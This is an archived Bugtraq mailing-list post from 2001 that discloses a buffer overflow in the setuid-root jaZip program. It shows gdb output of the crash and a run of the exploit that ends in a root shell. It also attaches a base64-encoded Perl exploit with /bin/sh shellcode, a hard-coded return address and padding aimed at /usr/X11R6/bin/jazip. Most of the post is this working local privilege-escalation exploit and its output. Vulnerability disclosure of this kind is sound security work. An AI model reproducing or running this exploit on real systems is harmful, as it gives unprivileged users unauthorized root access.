[18620] in bugtraq
Vulnerability in jaZip.
daemon@ATHENA.MIT.EDU (teleh0r)
Mon Jan 15 14:02:12 2001
Content-Type: Multipart/Mixed;
boundary="------------Boundary-00=_OTW5OLAYS3R76NBXB0LW"
Mime-Version: 1.0
Message-Id: <01011417054800.01834@localhost.localdomain>
Date: Sun, 14 Jan 2001 17:05:48 +0000
Reply-To: teleh0r <teleh0r@DOGLOVER.COM>
From: teleh0r <teleh0r@DOGLOVER.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
--------------Boundary-00=_OTW5OLAYS3R76NBXB0LW
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Dear, Bugtraq.
jaZip is a program for managing an Iomega Zip or Jaz drive.
It is often installed setuid root - and because of a buffer
overflow it is possible for regular users to become root.
Please excuse me if this was know. Please note that I can not
guarantee that this information is correct.
Tested rpm:
ftp://ftp.linux.com/pub/mirrors/turbolinux/turbolinux/TurboLinux/
RPMS/jaZip-0.32-2.i386.rpm
[root@localhost /root]# export DISPLAY=`perl -e '{print "A"x"2100"}'`
[root@localhost /root]# gdb /usr/X11R6/bin/jazip
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
(gdb) r
Starting program: /usr/X11R6/bin/jazip
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
----
[teleh0r@localhost teleh0r]$ rpm -q jaZip
jaZip-0.32-2
[teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
Address: 0xbffff7ac
bash#
Exploit attached.
Sincerely yours,
teleh0r
--
To avoid criticism, do nothing, say nothing, be nothing.
-- Elbert Hubbard
--------------Boundary-00=_OTW5OLAYS3R76NBXB0LW
Content-Type: application/x-perl;
name="jazip-exploit.pl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="jazip-exploit.pl"
IyEvdXNyL2Jpbi9wZXJsCgojIyBqYVppcCBFeHBsb2l0IC8gVGVzdGVkIHZlcnNpb246IGphWmlw
LTAuMzItMiAvIGFubm8gMjAwMAojIyB0ZWxlaDByQGRvZ2xvdmVyLmNvbSAvIGh0dHA6Ly90ZWxl
aDByLmNqYi5uZXQvCgokc2hlbGxjb2RlID0gICAgICAgICAgICAgICAgICAgICAjIFNoZWxsY29k
ZSBieTogVGFlaG8gT2gKICAgICJceGViXHgxZiIuICAgICAgICAgICAgICAgICAgIy8qIGptcCAw
eDFmICAgICAgICAgICAgICAqLwogICAgIlx4NWUiLiAgICAgICAgICAgICAgICAgICAgICAjLyog
cG9wbCAlZXNpICAgICAgICAgICAgICovCiAgICAiXHg4OVx4NzZceDA4Ii4gICAgICAgICAgICAg
ICMvKiBtb3ZsICVlc2ksMHg4KCVlc2kpICAgKi8KICAgICJceDMxXHhjMCIuICAgICAgICAgICAg
ICAgICAgIy8qIHhvcmwgJWVheCwlZWF4ICAgICAgICAqLwogICAgIlx4ODhceDQ2XHgwNyIuICAg
ICAgICAgICAgICAjLyogbW92YiAlZWF4LDB4NyglZXNpKSAgICovCiAgICAiXHg4OVx4NDZceDBj
Ii4gICAgICAgICAgICAgICMvKiBtb3ZsICVlYXgsMHhjKCVlc2kpICAgKi8KICAgICJceGIwXHgw
YiIuICAgICAgICAgICAgICAgICAgIy8qIG1vdmIgJDB4YiwlYWwgICAgICAgICAqLwogICAgIlx4
ODlceGYzIi4gICAgICAgICAgICAgICAgICAjLyogbW92bCAlZXNpLCVlYnggICAgICAgICovCiAg
ICAiXHg4ZFx4NGVceDA4Ii4gICAgICAgICAgICAgICMvKiBsZWFsIDB4OCglZXNpKSwlZWN4ICAg
Ki8KICAgICJceDhkXHg1Nlx4MGMiLiAgICAgICAgICAgICAgIy8qIGxlYWwgMHhjKCVlc2kpLCVl
ZHggICAqLwogICAgIlx4Y2RceDgwIi4gICAgICAgICAgICAgICAgICAjLyogaW50ICQweDgwICAg
ICAgICAgICAgICovCiAgICAiXHgzMVx4ZGIiLiAgICAgICAgICAgICAgICAgICMvKiB4b3JsICVl
YngsJWVieCAgICAgICAgKi8KICAgICJceDg5XHhkOCIuICAgICAgICAgICAgICAgICAgIy8qIG1v
dmwgJWVieCwlZWF4ICAgICAgICAqLwogICAgIlx4NDAiLiAgICAgICAgICAgICAgICAgICAgICAj
LyogaW5jICVlYXggICAgICAgICAgICAgICovCiAgICAiXHhjZFx4ODAiLiAgICAgICAgICAgICAg
ICAgICMvKiBpbnQgJDB4ODAgICAgICAgICAgICAgKi8KICAgICJceGU4XHhkY1x4ZmZceGZmXHhm
ZiIuICAgICAgIy8qIGNhbGwgLTB4MjQgICAgICAgICAgICAqLwogICAgIi9iaW4vc2giOyAgICAg
ICAgICAgICAgICAgICAjLyogLnN0cmluZyBcIi9iaW4vc2hcIiAgICovCgoKJHJldCA9IDB4YmZm
ZmY3YWM7ICAjIE1heSBoYXZlIHRvIGJlIG1vZGlmaWVkLgokbGVuID0gMjEwMDsKJG5vcCA9ICdB
JzsKCmlmIChAQVJHViA9PSAxKSB7CiAgICAkb2Zmc2V0ID0gJEFSR1ZbMF07Cn0KCmZvciAoJGkg
PSAwOyAkaSA8ICgkbGVuIC0gbGVuZ3RoKCRzaGVsbGNvZGUpIC0gMTAwKTsgJGkrKykgewogICAg
JGJ1ZmZlciAuPSAkbm9wOwp9CgokYnVmZmVyIC49ICRzaGVsbGNvZGU7CgpwcmludCgiQWRkcmVz
czogMHgiLCBzcHJpbnRmKCclbHgnLCgkcmV0ICsgJG9mZnNldCkpLCAiXG4iKTsKJG5ld19yZXQg
PSBwYWNrKCdsJywoJHJldCArICRvZmZzZXQpKTsKJGJ1ZmZlciAuPSAkbm9wIHggMzsgIyBNYXkg
aGF2ZSB0byBiZSBtb2RpZmllZC4KCmZvciAoJGkgKz0gbGVuZ3RoKCRzaGVsbGNvZGUpOyAkaSA8
ICRsZW47ICRpICs9IDQpIHsKICAgICRidWZmZXIgLj0gJG5ld19yZXQ7Cn0KCmlmICgkRU5WeydE
SVNQTEFZJ30pIHsKICAgIGRlbGV0ZSgkRU5WeydESVNQTEFZJ30pOwp9Cgpsb2NhbCgkRU5WeydE
SVNQTEFZJ30pID0gJGJ1ZmZlcjsKZXhlYygiL3Vzci9YMTFSNi9iaW4vamF6aXAiKTsK
--------------Boundary-00=_OTW5OLAYS3R76NBXB0LW--
